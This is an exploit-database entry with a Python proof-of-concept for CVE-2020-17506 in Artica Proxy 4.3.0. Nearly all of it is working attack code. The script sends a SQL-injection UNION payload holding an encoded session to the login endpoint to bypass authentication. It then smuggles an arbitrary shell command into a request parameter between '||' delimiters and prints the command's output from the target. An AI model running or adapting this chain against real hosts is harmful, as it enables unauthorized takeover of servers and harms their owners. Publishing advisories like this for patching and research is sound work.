Exploit/Advisories

# Exploit Title: Artica Proxy 4.3.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-08-13
# Exploit Author: Dan Duffy
# Vendor Homepage: http://articatech.net/
# Software Link: http://articatech.net/download2x.php?IsoOnly=yes
# Version: 4.30.00000000 (REQUIRED)
# Tested on: Debian
# CVE : CVE-2020-17506

import requests
import argparse
from bs4 import BeautifulSoup

def bypass_auth(session, args):
login_endpoint = "/fw.login.php?apikey="
payload = "%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"

print("[+] Bypassing authentication...")
session.get(args.host + login_endpoint + payload, verify=False)

return session

def run_command(session, args):
cmd_endpoint = "/cyrus.index.php?service-cmds-peform=||{}||".format(args.command)
print("[+] Running command: {}".format(args.command))
response = session.post(args.host + cmd_endpoint, verify=False)
soup = BeautifulSoup(response.text, "html.parser")
print(soup.find_all("code")[1].get_text())

def main():
parser = argparse.ArgumentParser(description="CVE-2020-17506 Artica PoC.")
parser.add_argument(
"--host", help="The host to target. Format example: https://host:port",
)
parser.add_argument("--command", help="The command to run")

args = parser.parse_args()
if not args.host or not args.command:
parser.print_help()
exit(0)
session = requests.Session()
session = bypass_auth(session, args)

run_command(session, args)

if __name__ == "__main__":
main()

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